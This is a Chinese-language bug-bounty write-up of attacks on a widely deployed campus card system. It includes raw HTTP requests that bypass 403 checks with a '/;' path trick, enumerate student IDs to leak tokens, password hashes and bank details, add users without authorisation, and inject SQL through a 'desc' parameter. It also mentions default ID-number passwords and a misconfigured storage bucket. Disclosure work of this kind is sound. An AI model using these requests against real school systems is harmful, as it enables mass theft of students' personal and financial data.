校园卡系统权限绕过漏洞挖掘：从403绕过到通杀400+学校

在一次针对教育行业（EDUSRC）的渗透测试中，成功进入目标系统后台往往是获取高额积分的关键。在对某高校证书站进行测试时，我发现了一个广泛部署的校园卡系统。

系统登录界面采用深色主题，包含“请输入学工号”和“请输入校园卡查询密码”两个输入框以及一个绿色的“登录”按钮。通过信息收集，了解到该系统默认密码为身份证号后六位，这一规律为后续测试提供了便利。成功登录后，系统主界面展示了“校园卡应用”模块，包含“卡包”、“付款”、“挂失解挂”、“为他人充值”、“充值支付账单”、“拾获卡”、“卡片充值”等多个功能图标。

在深入测试时，我在“设置”菜单的“换集号登录”功能点抓取到了一个关键的HTTP请求包。

首次尝试与403拦截

最初的请求试图获取其他用户信息，但服务器返回了403状态码，提示“请求被拒绝”。

GET /user/otherUserInfo/?sno=233090418 HTTP/1.1
Host: [目标域名]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: zh-CN,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br

HTTP/1.1 200 OK
Server: ****
Date: Tue, 03 Feb 2026 11:40:46 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 64
Connection: keep-alive

{
  "code":403,
  "success":false,
  "data":null,
  "msg":"请求被拒绝"
}

很多测试者在遇到403响应时可能会放弃。但在安全/渗透/逆向实践中，针对403状态有多种绕过思路，例如修改请求头、变换请求方法，或在路径中添加特殊字符等。

路径混淆绕过防护

经过尝试，发现在请求路径中插入/;成功绕过了权限校验。

GET /user/otherUserInfo/;?sno=admin HTTP/1.1
Host: [目标域名]
Cookie: uid=1i...; sso=admin
... (其他请求头)

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 15 Jun 2025 04:06:48 GMT
Content-Type: application/json;charset=UTF-8
Connection: keep-alive
Content-Length: 1311

{
  "code":200,
  "success":true,
  "data": {
    "access_token": "eyJ0...Mjoi...",
    "uid": "1f09362b9317967fb235a1fa034d8e22",
    "name": "admin",
    "account": "admin",
    "password": "212E...C33E0151105",
    ... (其他用户信息)
  }
}

绕过成功后，通过遍历sno（学工号）参数，即可批量获取大量用户的敏感信息，包括加密的密码等。

PC端接口的相同漏洞

随后，在测试该系统PC端的“校园卡服务大厅”网页时，发现了另一个功能接口。

GET /tst/xxx?idtype=sno&id=23309040&synAccessSource=h5 HTTP/1.1
Host: [目标域名]
... (请求头)

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 08 Nov 2025 03:37:48 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 61
Connection: close

{
  "code": 400,
  "success": false,
  "data": null,
  "msg": "越权操作"
}

该接口同样对越权访问进行了拦截。但基于上一个接口的绕过经验，尝试在路径中添加/;后，漏洞再次复现。

GET /ykt/tsm/idtypeQueryCard/;?idtype=sno&id=2204040412&synAccessSource=h5 HTTP/1.1
Host: [目标域名]
... (请求头)

服务器成功返回了指定学工号的校园卡详细信息，包括账户、姓名、卡内余额、卡片状态（正式卡）、银行账号（部分遮蔽）、手机号等信息，造成了严重的敏感信息泄露。由于该校园卡系统被众多学校使用，此漏洞构成了一个影响广泛的高危通杀漏洞。

后台管理功能越权与SQL注入

在后续测试中，我利用泄露的默认密码进入了某个学校的后台管理系统。该系统后台界面左侧为深色导航栏，包含“系统管理”、“用户管理”、“角色管理”等菜单。右侧主区域为用户列表，展示姓名、登录名、学工号、状态、头像等信息，并提供“同步图片”、“卡号激活”、“删除”等操作按钮。

我重点测试了普通用户是否能够访问后台的人员创建接口。

POST /berserker-base/user/add/ HTTP/1.1
Host: [目标域名]
... (请求头)
Content-Length: 258

{
  "account": "",
  "password": "",
  "status": "",
  "userType": "",
  "idNumber": "",
  "identityCode": "",
  "email": ""
}

HTTP/1.1 200 OK
Server: ************
Date: Tue, 03 Feb 2026 12:17:01 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 64
Connection: keep-alive

{
  "code": 403,
  "success": false,
  "data": null,
  "msg": "请求被拒绝"
}

请求被拒。再次使用/;进行路径混淆，成功绕过权限控制，实现了越权添加用户。

POST /berserker-base/user/add/; HTTP/1.1
Host: [目标域名]
... (请求头)
CONTENT-TYPE: application/json
content-Length: 206

{
  "account": "...",
  "name": "...",
  "pass": "...",
  ... (其他字段)
}

HTTP/1.1 200 OK
... (响应头)
{
  "code":200,
  "success":true,
  "data":{
    "createTime":"2025-06-15 12:12:27",
    "updateTime":"2025-06-15 12:12:27",
    "id":141520,
    "account": "...",
    "password": "...",
    ... (其他用户字段)
  }
}

此外，在测试其他列表接口时，还发现了SQL注入漏洞。例如，在desc参数中插入SQL表达式，引发了数据库错误。

GET /berserker-base/…?current=1&size=10&desc=id.1/(length(user)-1) HTTP/1.1
Host: [目标域名]
... (请求头)

HTTP/1.1 200 OK
... (响应头)
{
  "code": 200,
  "success": true,
  "data": { ... }
}

而触发错误语法的请求则被拦截：

GET /berseker-bas ?size=10&desc=id.1/(length(user))-9 HTTP/1.1
... (请求头)

HTTP/1.1 200 OK
Server: nginx/1.20.2
Date: Tue, 18 Nov 2025 08:59:15 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 61

{
  "code":400,
  "success":false,
  "data":null,
  "msg":"业务异常"
}

隐蔽接口与大规模数据泄露

在某个学校，我发现了一个名为“为他人充值”的隐藏功能（并非所有学校都开启此功能）。抓包发现一个查询接口。

GET /be
schoolAccountInfo?size=100 HTTP/1.1
Host: [目标域名]
Cookie: SES...TGC=8a767...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: application/json, text/plain, */*
... (其他请求头)

HTTP/1.1 200 OK
Server: Server
Date: Thu, 04 Dec 2025 12:32:11 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 67

{
  "code": 400,
  "success": false,
  "data": null,
  "msg": "缺少查询条件"
}

接口提示缺少查询条件。通过分析前端和过往数据包，手动添加sno（学工号）等必要参数后，接口成功返回数据。更重要的是，我发现account参数是连续的数字编号，可以被遍历。这使得可以精确统计出受影响的数据条数，从而将漏洞危害从“高危”提升到“严重”级别。

后续测试发现，即使某些学校的前端隐藏了“为他人充值”功能，其对应的后端接口依然可被访问和利用，这进一步扩大了漏洞的影响面。

其他安全问题

此外，该系统还存在对象存储（MinIO）配置不当的问题，攻击者可在前台利用存储桶进行文件覆盖、删除等操作，这又构成了一个独立的高危漏洞。

综上所述，这套校园卡系统在网络/系统层面的权限校验上存在通用性设计缺陷，导致多处接口可被绕过。配合默认弱密码、SQL注入、不安全的对象存储配置等问题，形成了一个包含信息泄露、越权操作、数据篡改等多种漏洞的“漏洞宝库”。通过系统性地利用这些漏洞，最终累计影响了超过400所学校，获得了大量安全积分。

参考资料

[1] 记一次简单刷取400+rank的权限绕过通杀, 微信公众号：mp.weixin.qq.com/s/4jmy9cbL2j0OpWMMD-X7QA

版权声明：本文由 云栈社区 整理发布，版权归原作者所有。